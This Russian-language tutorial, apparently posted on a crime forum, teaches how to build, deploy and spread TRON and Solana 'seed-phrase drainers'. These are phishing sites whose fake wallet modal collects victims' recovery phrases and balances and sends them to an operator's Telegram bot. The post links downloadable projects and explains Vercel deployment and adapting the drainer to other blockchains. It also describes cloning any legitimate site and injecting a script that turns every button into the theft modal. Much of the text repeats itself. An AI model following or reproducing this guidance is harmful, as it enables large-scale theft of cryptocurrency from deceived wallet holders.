SOL:
Отстук
UI:
Видео с ПК:
Видео с телефона:
Внутри:
TRON:
Отстук:
UI:
Внутри:
Логика работы индентична, отличие одно - подключение (connect) кошелька не предлагается в TRON, все делаем через seed.
TRON проект работает через брутфорс - берет seed фразу от пользователя, генерирует из нее адрес по одному пути деривации и проверяет баланс через API. Solana проект использует другой подход - сначала подключается к кошельку через window.solana и получает готовый адрес, а только потом просит seed фразу, избегая перебора путей деривации.
В TRX - пользователь вводит только seed.
В SOL - сначала подключение, потом seed.
Скачать проекты с MEGA :
Solana seed-phrase drainer
- https://mega.nz/file/fwwXzYSJ#NLJOPl6mZiM6dkWBNXXT9bwdLRJDX7IY9vfksGFFQDw
Tron seed-phrase drainer
- https://mega.nz/file/T54lgCrb#xaEb6Dqij2rTvMPSa40HPjyIxMiMpXANtHfrkG7fTs8
Версия проекта от (20.01.26)
- Что добавлено?
Валидация проверяющая список слов по словарю BIP39
Скачать NEW проекты с MEGA:
Solana seed-phrase drainer
-
mega.nz
Tron seed-phrase drainer
-
mega.nz
Статья разделяется на 4 основные части:
1) Введение;
1.1) Ознакомление с терминами;
2) Создание TRON seed-phrase drainer;
3) Создание Solana seed-phrase drainer;
4) Бонусная часть: ставим любой HTML лендинг и привязываем к нему drainer;
4.1) Как адаптировать seed drainer под любую сеть.
ВВЕДЕНИЕ
В этой статье мы разберем два проекта для работы с seed-фразами криптокошельков - для TRON и Solana блокчейнов. Проекты работают по разным принципам из-за особенностей этих сетей. TRON использует единый путь деривации, что позволяет сразу генерировать адрес из seed-фразы. Solana же имеет десятки разных путей деривации в зависимости от кошелька, что делает прямую генерацию адреса практически невозможной.
Мы пройдем весь путь от теории (что такое seed-фразы, как работает криптография) до практики (получение API ключей, создание Telegram бота, деплой на Vercel). Разберем реальный код из проектов и увидим как все работает.
ЧТО ОБЩЕГО:
1. Оба используют HTML wrapper с iframe для landing page;
2. Оба используют модальное окно для взаимодействия с кошельком;
3. Оба отправляют данные в Telegram;
4. Оба проверяют баланс нативной валюты и стейблкоинов;
5. Оба используют валидацию seed-фраз;
6. Оба используют deep links для мобильных кошельков;
7. Оба определяют кошелек по User Agent;
8. Оба используют одинаковую структуру проекта на Next.js.
ЧЕМ ОТЛИЧАЮТСЯ:
Логика работы:
Криптография:
Скорость:
Токены:
Баланс:
Формат адресов:
Библиотеки:
- TRON: ethers.js, bip39, bs58, tronweb
- Solana: Solana/web3.js, @scure/bip39, @scure/bip32, tweetnacl
ПОЧЕМУ SOLANA СЛОЖНЕЕ
Главная проблема Solana в том, что нет единого стандарта. В BIP44 прописано что для Bitcoin используется m/44'/0', для Ethereum m/44'/60', для TRON m/44'/195'. Но для Solana (coin type 501) каждый кошелек делает по-своему.
Phantom использует m/44'/501'/X'/0' где X это номер аккаунта.
Trust Wallet использует m/44'/501'/X' без последнего уровня.
Некоторые старые кошельки брали первые 32 байта seed напрямую.
Другие используют Ed25519 через tweetnacl с разными смещениями.
Из-за этого невозможно узнать адрес юзера не зная, из какого кошелька импортировали seed. Поэтому в проекте логика изменена - сначала подключаемся к кошельку и узнаем адрес напрямую, потом просим seed для подтверждения.
В старой версии кода была попытка генерировать все возможные адреса и проверять их все. Но это 200-300 адресов, каждый нужно проверить через RPC, это занимает минуты. Плюс RPC провайдеры банят за слишком частые запросы.
Поэтому текущая логика оптимальна - получаем адрес из кошелька, сканируем только его, получаем seed и отправляем все в Telegram. Быстро и надежно.
ОБЩИЕ ОПРЕДЕЛЕНИЯ:
BIP39 (Bitcoin Improvement Proposal 39)
Стандарт для генерации seed-фраз. Описывает список из 2048 слов на разных языках и алгоритм создания мнемонической фразы. Используется почти во всех современных кошельках - от Bitcoin до Solana.
BIP44 (Bitcoin Improvement Proposal 44)
Стандарт для создания иерархических кошельков с несколькими адресами из одной seed-фразы. Определяет структуру путей вида m/44'/195'/0'/0/0, где каждое число отвечает за свою функцию (монета, аккаунт, индекс).
Путь деривации (Derivation Path)
Маршрут для генерации конкретного адреса из seed-фразы. Выглядит как m/44'/195'/0'/0/0 для TRON или m/44'/501'/0'/0' для Solana. Разные пути = разные адреса из одной seed-фразы. У TRON один стандартный путь, у Solana их десятки.
HD Wallet (Hierarchical Deterministic)
Кошелек, который создает бесконечное количество адресов из одной seed-фразы по древовидной структуре. Не нужно делать бэкап каждого нового адреса - достаточно сохранить seed.
Private Key (приватный ключ)
Секретное число длиной 256 бит, которое дает полный контроль над адресом. Из private key получается public key, из него - адрес. Если кто-то узнал твой приватник - твои деньги его.
Public Key (публичный ключ)
Криптографически связан с приватным ключом, но из него нельзя восстановить приватник. Из public key генерируется адрес кошелька. В Solana public key = адрес кошелька (формат base58).
Адрес кошелька
Публичный идентификатор для получения криптовалюты. Выглядит как строка символов типа TXYZabcd123... для TRON или 5FHneW... для Solana. Можно показывать всем, деньги не украдут.
TRC20
Стандарт токенов в сети TRON, аналог ERC20 в Ethereum. Все популярные стейблкоины на TRON (USDT, USDC) работают по этому стандарту. Требует отдельных запросов к смарт-контракту для проверки баланса.
SPL Token
Стандарт токенов в Solana. Токены хранятся в отдельных аккаунтах, привязанных к основному адресу. Для получения баланса нужно запросить все token accounts через API.
dApp Browser
Встроенный браузер в мобильных крипто-кошельках (Trust Wallet, Phantom, TronLink). Внутри него работают специальные объекты window.ethereum или window.solana для подключения сайта к кошельку.
window.ethereum / window.solana
JavaScript объекты, которые кошельки внедряют в браузер для взаимодействия с dApp. Через них можно запросить адрес, подписать транзакцию, отправить деньги. Если объекта нет - кошелек не подключен.
Rate Limiting
Система защиты от спама и брутфорса. Ограничивает количество запросов с одного IP или по одним данным за период времени. В наших проектах: 12 попыток одной seed-фразы = бан на 12 часов.
API Key
Уникальный токен для доступа к API сервиса. Нужен для идентификации и контроля лимитов запросов. Например, TRONGRID_API_KEY для TronGrid или HELIUS_API_KEY для Helius RPC.
Mnemonic (мнемоника)
Другое название seed-фразы. Слова легче запоминать и записывать, чем длинный hex-код. 12-24 слова из BIP39 словаря.
Base58
Метод кодирования данных, похож на Base64, но без похожих символов (0, O, I, l). Используется в Bitcoin, TRON и Solana для адресов. Делает адреса короче и читабельнее.
Checksum (контрольная сумма)
Несколько байт в конце адреса для проверки корректности. Если ошибся хоть в одном символе адреса - checksum не сойдется и транзакция не пройдет. Защищает от опечаток.
Hash (хеш)
Результат криптографической функции, которая превращает любые данные в строку фиксированной длины. Из хеша нельзя восстановить исходные данные. Используется для checksum, паролей, подписей.
SHA256
Популярная хеш-функция, выдает 256-битный (64 символа hex) результат. Используется в Bitcoin, TRON для checksum, в rate limiting для хранения seed-фраз без возможности восстановления.
ED25519
Алгоритм цифровой подписи на эллиптических кривых. Используется в Solana для генерации ключей. Быстрее и безопаснее старых алгоритмов типа ECDSA.
Lamports
Минимальная единица SOL в Solana. 1 SOL = 1,000,000,000 lamports. Аналог сатоши в Bitcoin. Весь баланс в блокчейне хранится в lamports.
Sun
Минимальная единица TRX в TRON. 1 TRX = 1,000,000 sun. Все операции внутри блокчейна работают с sun, а не с TRX.
RPC endpoint
URL сервера для отправки запросов к блокчейну. Через RPC можно читать данные, отправлять транзакции, получать балансы. Например, https://api.trongrid.io или https://mainnet.helius-rpc.com.
DEEP LINKS
Поскольку мы используем самописаное модальное окно, мы отказываемся от WalletConnect и делаем все сами.
Deep links — это специальные URL-схемы, которые позволяют открывать приложения напрямую из браузера. Например, ссылка вида
ЧТО ТАКОЕ СИД-ФРАЗЫ
Seed-фраза это 12 или 24 слова, из которых генерируется приватный ключ кошелька. Это стандарт BIP39, которым пользуются почти все кошельки. Когда создаешь кошелек, программа генерирует случайное число, которое превращается в слова из словаря на 2048 слов. 12 слов это 128 бит энтропии плюс 4 бита контрольной суммы, а 24 слова это 256 бит плюс 8 бит.
Главный плюс seed-фраз в том, что их можно записать на бумажке и восстановить кошелек где угодно. Не надо хранить длинную hex-строку на 64 символа, достаточно 12-24 обычных слов.
Валидация в коде выглядит так:
Сначала разбиваем строку на слова, проверяем их количество и отсекаем левые символы. Это первый фильтр, который отсеивает явный мусор до обращения к криптографическим функциям.
СОЗДАЕМ TRON SEED PHRASE DRAINER
ОТ SEED ДО АДРЕСА
После проверки количества слов начинается криптография. Seed-фраза через PBKDF2 превращается в бинарные данные. Библиотека bip39 делает всю работу:
Функция validateMnemonic проверяет не только слова из словаря, но и контрольную сумму. Это гарантирует, что фраза сгенерирована правильно, а не собрана рандомно.
Дальше используем HD кошельки для деривации приватного ключа. Это технология, которая из одного seed генерирует бесконечное количество ключей по определенному пути. Для TRON стандартный путь такой:
Разберем путь по частям:
m — master node (корневой узел);
44' — стандарт BIP44;
195' — код TRON в реестре монет;
0' — номер аккаунта;
0 — external chain (для получения адресов);
0 — индекс адреса.
Апостроф после числа означает hardened derivation для дополнительной безопасности. Даже если кто-то получит публичный ключ, он не сможет вычислить другие ключи в цепочке.
КОНВЕРТАЦИЯ SEED В TRON АДРЕС
После деривации получаем стандартный Ethereum-подобный адрес, который начинается с 0x. Но TRON использует свой формат адресов, начинающихся с буквы T. Конвертация происходит так:
Убираем префикс 0x и конвертируем hex в байты. Добавляем байт 0x41 в начало — это идентификатор TRON mainnet. Дважды хешируем SHA256 для контрольной суммы. Первые 4 байта второго хеша добавляются в конец. Это защищает от опечаток при вводе адреса. Кодируем все в Base58, получаем адрес формата T...
Base58 кодирование было придумано для Bitcoin и исключает похожие символы: цифру 0, заглавную O, заглавную I и строчную l. Это снижает вероятность ошибки при ручном вводе.
ПОЛУЧЕНИЕ TRONGRID API КЛЮЧА
Для работы с блокчейном TRON нужен доступ к нодам. Можно поднять свою ноду, но это требует сервера и постоянной синхронизации. Проще использовать TronGrid, который дает API доступ к TRON.
Регистрируемся на TronGrid.io:
Подтверждаем почту:
Cоздаем API ключ:
Бесплатный план дает около 1000 запросов в день, для тестов хватает. Ключ сохраняем в безопасном месте и не коммитим в публичный репозиторий.
API ключ передается в заголовке:
Важно использовать AbortSignal.timeout. Это встроенный механизм для таймаута на fetch. Если API не ответит за 15 секунд, запрос отменится. Это не дает приложению зависнуть при проблемах с сетью.
ПОЛУЧЕНИЕ БАЛАНСА
После запроса к TronGrid получаем JSON с информацией об аккаунте. Нас интересует balance для нативного TRX:
Баланс в TRON измеряется в SUN. Один TRX равен миллиону SUN. Это как сатоши в Bitcoin, или как wei в Ethereum, или как лампорты в Solana . Деление на мелкие единицы позволяет проводить микротранзакции и избегать проблем с float.
Кроме нативного TRX, есть TRC20 токены, самый популярный это USDT. Для проверки USDT обращаемся к смарт-контракту:
Этот запрос возвращает историю транзакций TRC20 токена. Из последней транзакции извлекаем текущий баланс USDT. USDT также делится на 6 знаков, поэтому значение нужно разделить на 1000000.
КУРС TRX В ДОЛЛАРАХ
Чтобы узнать баланс в долларах, обращаемся к CoinGecko API:
CoinGecko дает бесплатный доступ с нормальными лимитами. Важно обрабатывать ошибки при запросе курса, чтобы основная функциональность не ломалась. Если курс не получили, просто показываем баланс в TRX.
В продакшене имеет смысл кешировать курс. Цена TRX не меняется каждую секунду настолько, чтобы запрашивать её при каждой проверке. Можно обновлять раз в минуту или реже, это снизит нагрузку на API.
СОЗДАНИЕ TELEGRAM БОТА (BotFather)
Когда приложение находит кошелек с балансом, нужно моментально получить уведомление. Telegram боты дают идеальное решение: быстрые уведомления, простая настройка, надежная доставка, 99% дрейнеров доставляют отстуки в телеграм, и мы не будем отсупать от канонов.
Открываем Telegram, находим BotFather. Это официальный бот от создателей Telegram, который управляет всеми остальными ботами. Отправляем /newbot и следуем инструкциям. Придумываем имя бота и уникальный username, который должен заканчиваться на bot.
BotFather выдаст токен для доступа к HTTP API. Токен выглядит так: 123456789:ABCdefGHIjklMNOpqrsTUVwxyz. Первая часть до двоеточия это ID бота, вторая часть секретный ключ. Токен нужно хранить в секрете.
Дальше нужен CHAT_ID, куда бот будет слать сообщения. Пишем сообщение боту @userinfobot, /start, и он сразу выдаст id цифрами
Отправка сообщения реализована так:
Параметр parse_mode: Markdown позволяет форматировать текст. Можно делать жирным через звездочки, курсивом через подчеркивания, добавлять ссылки.
МНОГОУРОВНЕВАЯ ВАЛИДАЦИЯ
Простой проверки на количество слов недостаточно. Мы сделали многоступенчатую валидацию, которая отсекает мусор на разных уровнях.
Первый уровень — фильтрация недопустимых символов. Seed должна содержать только буквы и пробелы. Цифры, спецсимволы, эмодзи отклоняются:
Если слово повторяется больше 4 раз, это явный признак что пользователь ввел бессмыслицу или спамит.
Третий уровень — blacklist плохих слов.
Четвертый и финальный уровень — криптографическая валидация через bip39:
Мы используем список таких слов для отсеивания:
fuck shit bitch ass dick cock pussy cunt bastard damn hell shluha pizda blyat pidar mudak gandon
(components/wallet-modal.tsx, строки 139-168)
Только после прохождения всех четырех уровней seed отправляется на сервер. Это снижает нагрузку на бэкенд и улучшает UX, так как ошибки находятся мгновенно.
UPDATE от 20.01.26
В версии NEW добавлена валидация по BIP39 словарю, отсекаем все слова которые не в списке BIP39
RATE LIMITING ДЛЯ ЗАЩИТЫ ОТ СПАМА
Любое публичное API должно иметь защиту от злоупотреблений. Без ограничений один юзер может сделать тысячи запросов и перегрузить сервер. Мы сделали in-memory rate limiting с двумя типами лимитов.
Используем хэш и map, потому что подключать базу данных тот еще гемор.
Первый тип — ограничение на проверки одной seed-фразы. Мы не храним саму фразу, а сохраняем её SHA256 хеш:
Хеш это односторонняя функция. Зная хеш, нельзя восстановить seed.
Структура данных для попыток:
Для каждого хеша seed сохраняем количество попыток, время первой попытки и время бана. Логика проверки:
Если одну seed проверили 12 раз, она банится на 12 часов. Это предотвращает спам одной фразой.
Второй тип — ограничение по IP. Один IP может проверить максимум 6 разных seed-фраз:
Используем Set для хранения уникальных seed-хешей от каждого IP. Это позволяет точно подсчитать сколько разных фраз проверил пользователь.
Важный момент — периодическая очистка памяти. In-memory хранилище растет с каждым запросом. Если не чистить старые записи, сервер исчерпает память:
Каждые 5 минут проходим по всем записям и удаляем неактуальные. Это поддерживает память в чистоте.
ОПРЕДЕЛЕНИЕ IP АДРЕСА
Получение реального IP в веб-приложениях не так просто. Прямое обращение к socket.remoteAddress вернет IP прокси, а не клиента.
Прокси добавляют специальные HTTP заголовки с оригинальным IP клиента:
x-forwarded-for — может содержать цепочку IP через запятую, первый это клиент
x-real-ip — обычно содержит один IP клиента
cf-connecting-ip — используется Cloudflare
Функция для извлечения IP:
Если x-forwarded-for содержит несколько адресов, берем первый, так как он оригинальный клиент. Последующие адреса это промежуточные прокси.
IP адрес не абсолютно надежный идентификатор. Пользователи за NAT имеют одинаковый внешний IP, VPN меняет IP, мобильные сети ротируют IP. Но для базовой защиты от спама этого хватает.
NEXT.JS 16 API ROUTES
Приложение построено на Next.js 16 с App Router. В отличие от старого Pages Router, где API были в pages/api, новая архитектура размещает их в app/api. Каждый маршрут это папка с файлом route.ts.
Структура проекта:
Файл route.ts экспортирует функции с именами HTTP методов:
Важное отличие — использование стандартных Web APIs. Request и Response это нативные объекты, а не кастомные типы Next.js. Это делает код более портируемым.
Для получения тела запроса используем await request.json(). Для отправки JSON ответа Response.json(). Эти методы асинхронны.
Еще одна фича Next.js 16 — серверные компоненты. По умолчанию все компоненты в app это Server Components. Они выполняются на сервере, имеют доступ к файловой системе и БД, но не могут использовать браузерные API или React hooks типа useState.
Для создания клиентского компонента нужна директива:
Эта директива говорит Next.js что компонент должен быть гидратирован на клиенте. Разделение на серверные и клиентские компоненты оптимизирует размер bundle и ускоряет загрузку.
МОДАЛЬНОЕ ОКНО ПОДКЛЮЧЕНИЯ КОШЕЛЬКА
UI для ввода seed реализован в виде модального окна с несколькими шагами. Сначала пользователь выбирает тип кошелька:
После выбора открывается форма для ввода seed. Пользователь видит в реальном времени есть ли ошибки.
Важный момент — работа с мобильными кошельками. Многие юзеры открывают dApps из встроенного браузера кошелька. Нужно автоматически определить какой кошелек используется:
User-Agent содержит инфу о браузере и устройстве. Многие мобильные кошельки добавляют свой идентификатор в User-Agent. Для TronLink также проверяем наличие window.tronWeb.
Если кошелек детектирован автоматически, показываем соответствующую иконку, пропуская шаг выбора. Это улучшает UX.
Для deep links на мобильные кошельки используем специальные URL схемы:
Когда пользователь жмет Open in Wallet, браузер пытается открыть deep link. Если кошелек установлен, он откроется автоматически и загрузит наше приложение.
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ
Переменные окружения это ключевой механизм для хранения конфигурации и секретов. Для локальной разработки Next.js использует файл .env.local:
TRONGRID_API_KEY=вашключотtrongridздесь
TELEGRAM_BOT_TOKEN=123456789:ABCdefGHIjklMNOpqrsTUVwxyz
TELEGRAM_CHAT_ID=123456789
Этот файл никогда не должен попадать в git. Добавь его в .gitignore:
.env.local
.env*.local
В коде обращаемся к переменным через process.env:
Всегда проверяй наличие обязательных переменных. Это предотвращает неожиданные ошибки в runtime.
ДЕПЛОЙ НА VERCEL
Vercel это платформа от команды Next.js специально для деплоя Next.js приложений. Интеграция максимально плавная.
Переходим на vercel.com
Логинимся через GitHub
Жмем Import Project. Выбираем репозиторий из списка. Vercel автоматически детектирует Next.js и предлагает правильные настройки.
На этапе настройки добавляем переменные окружения:
TRONGRID_API_KEY = ваш_ключ
TELEGRAM_BOT_TOKEN = ваш_токен
TELEGRAM_CHAT_ID = ваш_chat_id
Можно указать для каких окружений применяется каждая переменная: Production, Preview, Development.
Жмем Deploy и ждем пару минут. Vercel клонирует репо, ставит зависимости, собирает проект и деплоит на CDN. После деплоя получаем URL вида https://your-project.vercel.app
РАЗБЕРЕМ SOLANA SEED PHRASE DRAINER
ЛОГИКА РАБОТЫ ПРОЕКТА
Ключевое отличие от TRON - мы сначала подключаемся к кошельку и узнаем адрес, потом просим seed. Вот как это работает:
1. Юзер открывает сайт из dApp-браузера кошелька (или кликает кнопку на десктопе)
2. Модальное окно определяет, из какого кошелька открыт сайт
3. Подключаемся к window.solana или window.solflare/window.trustwallet или window.backpack
4. Получаем publicKey - это адрес кошелька
5. Сразу сканируем баланс этого адреса через API /scan-address
6. Показываем юзеру форму для ввода seed-фразы
7. Когда юзер вводит seed, отправляем все данные в Telegram
8. На сервере seed НЕ генерируется адрес (это было бы в старой версии кода)
Вот код подключения кошелька из wallet-modal.tsx:
Тут видно, что мы получаем адрес напрямую из кошелька через его API. Не генерируем ничего из seed, просто спрашиваем у кошелька "какой у тебя адрес?".
ПРОВЕРКА БАЛАНСА ЧЕРЕЗ SCAN-ADDRESS API
После того как получили адрес, отправляем запрос на /api/scan-address. Этот эндпоинт делает следующее:
1. Подключается к Solana RPC через Helius
2. Получает баланс SOL
3. Проверяет USDC и USDT токены
4. Через Helius API получает все SPL токены
5. Для каждого токена запрашивает цену через Jupiter API
6. Возвращает полную картину баланса
Вот ключевой код из route.ts:
ОТПРАВКА В TELEGRAM
Когда юзер вводит seed-фразу, все данные отправляются на /api/send-telegram. Вот что улетает в Telegram:
1. Название кошелька (Phantom, Solflare, Trust, Backpack)
2. Адрес подключенного кошелька
3. Баланс SOL, USDC, USDT
4. Список всех SPL токенов с ценами
5. Общая сумма в долларах
6. Seed-фраза
Формат сообщения выглядит так:
КОД ГЕНЕРАЦИИ ВСЕХ АДРЕСОВ (СТАРАЯ ВЕРСИЯ)
В файле route.ts была функция generateAllPossibleAddresses, которая генерирует ВСЕ возможные адреса из seed-фразы. Это было в старой версии проекта, когда пытались перебрать все пути. Но это оказалось слишком медленно и сложно, перебирали 220+ адресов и не находили нужный, поэтому логику изменили на "сначала подключение, потом seed".
Но код все равно интересный, посмотрим как он работает:
Метод 1 - Прямые смещения из seed:
Метод 2 - Через tweetnacl:
TweetNaCl это криптографическая библиотека, которую используют некоторые кошельки.
Метод 3 - BIP44 стандартные пути:
Это стандартный способ через HD кошельки. Используем @scure/bip32 для деривации ключей.
Метод 4 - Дополнительные аккаунты Trust:
Trust Wallet создает новые аккаунты просто увеличивая индекс. Account 0, Account 1, Account 2 и так далее.
Метод 5 - Аккаунты Phantom:
Метод 6 - Комбинации с change индексом:
Некоторые кошельки используют BIP44 полностью с change индексом для разделения получения и отправки адресов.
В итоге функция generateAllPossibleAddresses возвращает массив из 200-300 уникальных адресов. В старой версии проекта все эти адреса проверялись на баланс, но это занимало минуты, поэтому логику изменили.
DEEP LINKS И МОБИЛЬНЫЕ КОШЕЛЬКИ
На телефоне работа отличается. Если юзер не в dApp-браузере кошелька, мы перекидываем его туда через deep link. Deep link это специальная URL-схема типа phantom:// или trust://, которая открывает приложение.
Вот как формируются deep links для разных кошельков:
const WALLETS = [
Когда юзер кликает кнопку Connect на мобилке, мы редиректим его:
Таким образом юзер не делает лишних кликов, все происходит автоматически.
ОПРЕДЕЛЕНИЕ КОШЕЛЬКА
Модалка умеет определять, из какого кошелька открыт сайт. Это делается через User Agent:
ВАЛИДАЦИЯ SEED-ФРАЗЫ
Перед отправкой seed-фраза проходит валидацию:
Проверяем что:
HTML WRAPPER И IFRAME
Оба проекта (и TRON, и Solana) используют HtmlLandingWrapper компонент. Это нужно чтобы можно было использовать любую HTML landing page, а не писать весь дизайн в React.
Вот как работает wrapper:
HTML контент рендерится внутри iframe. В iframe добавляется глобальная функция openWalletScanner(), которую можно вызвать из HTML кнопки:
Модалка же рендерится ВНЕ iframe с фиксированным позиционированием:
ПОЛУЧЕНИЕ API КЛЮЧЕЙ
Для работы проекта нужны несколько ключей:
1. HELIUS_API_KEY - для доступа к Solana RPC
Регистрируешься на helius.dev через google/github аккаунт, создаешь проект, копируешь API ключ. Helius дает бесплатный тариф с лимитом запросов 100000.
2. TELEGRAM_BOT_TOKEN и TELEGRAM_CHAT_ID
Открываешь BotFather в Telegram, создаешь нового бота командой /newbot, копируешь токен. Для chat_id открываешь @userinfobot и смотришь свой ID.
@userinfobot и смотришь свой ID
3. Jupiter API не требует ключ, работает публично
4. CoinGecko API тоже публичный
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ ДЛЯ ДЕПЛОЯ
В Vercel добавляешь переменные:
HELIUS_API_KEY=твойключот_helius
TELEGRAM_BOT_TOKEN=123456:ABCdefGHIjkl
TELEGRAM_CHAT_ID=123456789
БОНУС:
Как переписать seed drainer под любую сеть?
Код легко адаптируется под любую блокчейн сеть, если знаешь её особенности.
Сначала нужно узнать путь деривации для нужной сети - например для Ethereum это m/44'/60'/0'/0/0, для Bitcoin m/44'/0'/0'/0/0, для Polygon m/44'/60'/0'/0/0 (такой же как у ETH).
Затем меняешь API для проверки баланса - вместо TronGrid используешь Etherscan для Ethereum, Blockchain.com для Bitcoin, или Polygonscan для Polygon.
Deep links для каждой сети свои - MetaMask использует metamask://, Trust Wallet поддерживает trust://open_url, Exodus работает через exodus://.
В wallet-modal.tsx меняешь список поддерживаемых кошельков под нужную сеть - для Ethereum это MetaMask, Coinbase Wallet, Rainbow, для Bitcoin это Electrum, BlueWallet.
Логику генерации адреса адаптируешь под формат сети - Bitcoin использует base58check или bech32, Ethereum работает с hex форматом 0x..., Solana с base58.
Для получения курса валюты меняешь ID в CoinGecko API - bitcoin, ethereum, matic-network и так далее.
В rate-limiter.ts можешь оставить всё как есть, эта логика универсальна для любой сети.
Telegram уведомления тоже универсальны, только меняешь название сети в сообщении.
Для некоторых сетей типа Solana или Cardano нужно учитывать множественные пути деривации, там лучше использовать подход с подключением кошелька сначала.
Validators для seed-фраз остаются теми же, BIP39 работает одинаково для всех сетей.
В итоге основная работа - это поменять путь деривации, API провайдера, deep links и список кошельков, остальная логика остаётся без изменений.
Ставим лендинг сами
Как скачать сайт и сделать вызов модального окна
Чтобы скачать любой сайт целиком в один HTML файл, установи расширение SingleFile для Chrome или Firefox.
После установки открой нужный сайт, кликни на иконку расширения и выбери "Save page as SingleFile" - все стили, скрипты и изображения упакуются в один файл.
Теперь можно открыть этот HTML в любом редакторе и вставить в начало тега body специальный скрипт-перехватчик.
Обычный скаченный сайт, внедряем script - перехватчик
Этот скрипт отслеживает все клики на странице через глобальный document.addEventListener и проверяет, является ли кликнутый элемент кнопкой (по тегу, role, классу или id). Если это кнопка - скрипт блокирует стандартное поведение через event.preventDefault() и вместо этого вызывает свою функцию window.openWalletScanner(). Таким образом мы скачали сайт и сделали так чтобы при нажатии на любую кнопку открывалось наше модальное окно. Для этого нам нужен был HTML Wrapper!
Теперь готовый HTML код скопируй и вставь в private-landing (solana-airdrop.html/tron-airdrop.html)
ЗАКЛЮЧЕНИЕ
Мы разобрали два проекта для работы с криптокошельками на разных блокчейнах. Оба проекта решают одну задачу, но используют разные подходы из-за особенностей TRON и Solana.
TRON проект работает через прямую генерацию адреса из seed-фразы благодаря единому пути деривации. Это делает код простым и быстрым - одна seed фраза генерирует один адрес, который мгновенно проверяется через TronGrid API.
Solana проект использует более сложный подход из-за отсутствия стандартизации путей деривации. Вместо перебора сотен возможных адресов мы сначала подключаемся к кошельку и получаем адрес напрямую, а потом запрашиваем seed-фразу.
В обоих проектах мы разобрали:
Эти проекты демонстрируют как работать с разными блокчейнами, учитывая их особенности. Код написан на TypeScript с Next.js 16 и использует современные практики веб-разработки.
Главный урок - не существует универсального подхода для всех блокчейнов. Нужно понимать особенности каждой сети и адаптировать решение под конкретную задачу.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Важно отметить что предоставленный код полностью рабочий, он дан как source код для понимания разработки. Перед тем как вынести проект в люди, проработайте endpoints для защиты. Вот что я бы сделал:
Добавить middleware для проверки origin заголовков - сейчас любой может дергать /api/check-balance и /api/send-telegram с любого домена, нужно разрешить только с твоего фронтенда.
Сделать API Key авторизацию между фронтом и бэком - добавить секретный токен в env переменные, который фронт будет слать в заголовке Authorization, без него API вернет 401.
Усилить rate limiting на уровне IP - сейчас можно обойти через VPN/прокси, нужно добавить fingerprinting браузера (canvas, WebGL, fonts) и комбинировать с IP для более точной идентификации атакующего.
Отстук
UI:
Видео с ПК:
Внутри:
TRON:
Отстук:
UI:
Внутри:
Логика работы индентична, отличие одно - подключение (connect) кошелька не предлагается в TRON, все делаем через seed.
TRON проект работает через брутфорс - берет seed фразу от пользователя, генерирует из нее адрес по одному пути деривации и проверяет баланс через API. Solana проект использует другой подход - сначала подключается к кошельку через window.solana и получает готовый адрес, а только потом просит seed фразу, избегая перебора путей деривации.
В TRX - пользователь вводит только seed.
В SOL - сначала подключение, потом seed.
Скачать проекты с MEGA :
Solana seed-phrase drainer
Tron seed-phrase drainer
Версия проекта от (20.01.26)
- Что добавлено?
Валидация проверяющая список слов по словарю BIP39
Скачать NEW проекты с MEGA:
Solana seed-phrase drainer
40.7 KB file on MEGA
39 KB file on MEGA
Статья разделяется на 4 основные части:
1) Введение;
1.1) Ознакомление с терминами;
2) Создание TRON seed-phrase drainer;
3) Создание Solana seed-phrase drainer;
4) Бонусная часть: ставим любой HTML лендинг и привязываем к нему drainer;
4.1) Как адаптировать seed drainer под любую сеть.
ВВЕДЕНИЕ
В этой статье мы разберем два проекта для работы с seed-фразами криптокошельков - для TRON и Solana блокчейнов. Проекты работают по разным принципам из-за особенностей этих сетей. TRON использует единый путь деривации, что позволяет сразу генерировать адрес из seed-фразы. Solana же имеет десятки разных путей деривации в зависимости от кошелька, что делает прямую генерацию адреса практически невозможной.
Мы пройдем весь путь от теории (что такое seed-фразы, как работает криптография) до практики (получение API ключей, создание Telegram бота, деплой на Vercel). Разберем реальный код из проектов и увидим как все работает.
ЧТО ОБЩЕГО:
1. Оба используют HTML wrapper с iframe для landing page;
2. Оба используют модальное окно для взаимодействия с кошельком;
3. Оба отправляют данные в Telegram;
4. Оба проверяют баланс нативной валюты и стейблкоинов;
5. Оба используют валидацию seed-фраз;
6. Оба используют deep links для мобильных кошельков;
7. Оба определяют кошелек по User Agent;
8. Оба используют одинаковую структуру проекта на Next.js.
ЧЕМ ОТЛИЧАЮТСЯ:
Логика работы:
- TRON: Запрашивает seed → генерирует адрес → проверяет баланс (Trongrid API) → отправляет все в Telegram
- Solana: Подключает кошелек → получает адрес → проверяет баланс (Helius API) → запрашивает seed → отправляет все в Telegram
Криптография:
- TRON: Один путь деривации m/44'/195'/0'/0/0 для всех кошельков
- Solana: Десятки вариантов путей, разные кошельки используют разные методы. Но нам все равно, используем умный подход, получаем адрес кошелька через вызов window.(wallet), и только потом просим seed
- TRON: TronGrid API для баланса, один эндпоинт
- Solana: Helius RPC для баланса, DAS API для токенов, Jupiter для цен
Скорость:
- TRON: Мгновенная проверка одного адреса
- Solana: При переборе всех путей может занять минуты (поэтому логику изменили)
Токены:
- TRON: Только TRC20 USDT проверяется
- Solana: Все SPL токены с ценами через Jupiter API
Баланс:
- TRON: Только TRX и USDT
- Solana: SOL, USDC, USDT, плюс все SPL токены
Формат адресов:
- TRON: Base58 с префиксом 41 и checksum
- Solana: Base58 без префикса, 32 байта публичного ключа
Библиотеки:
- TRON: ethers.js, bip39, bs58, tronweb
- Solana: Solana/web3.js, @scure/bip39, @scure/bip32, tweetnacl
ПОЧЕМУ SOLANA СЛОЖНЕЕ
Главная проблема Solana в том, что нет единого стандарта. В BIP44 прописано что для Bitcoin используется m/44'/0', для Ethereum m/44'/60', для TRON m/44'/195'. Но для Solana (coin type 501) каждый кошелек делает по-своему.
Phantom использует m/44'/501'/X'/0' где X это номер аккаунта.
Trust Wallet использует m/44'/501'/X' без последнего уровня.
Некоторые старые кошельки брали первые 32 байта seed напрямую.
Другие используют Ed25519 через tweetnacl с разными смещениями.
Из-за этого невозможно узнать адрес юзера не зная, из какого кошелька импортировали seed. Поэтому в проекте логика изменена - сначала подключаемся к кошельку и узнаем адрес напрямую, потом просим seed для подтверждения.
В старой версии кода была попытка генерировать все возможные адреса и проверять их все. Но это 200-300 адресов, каждый нужно проверить через RPC, это занимает минуты. Плюс RPC провайдеры банят за слишком частые запросы.
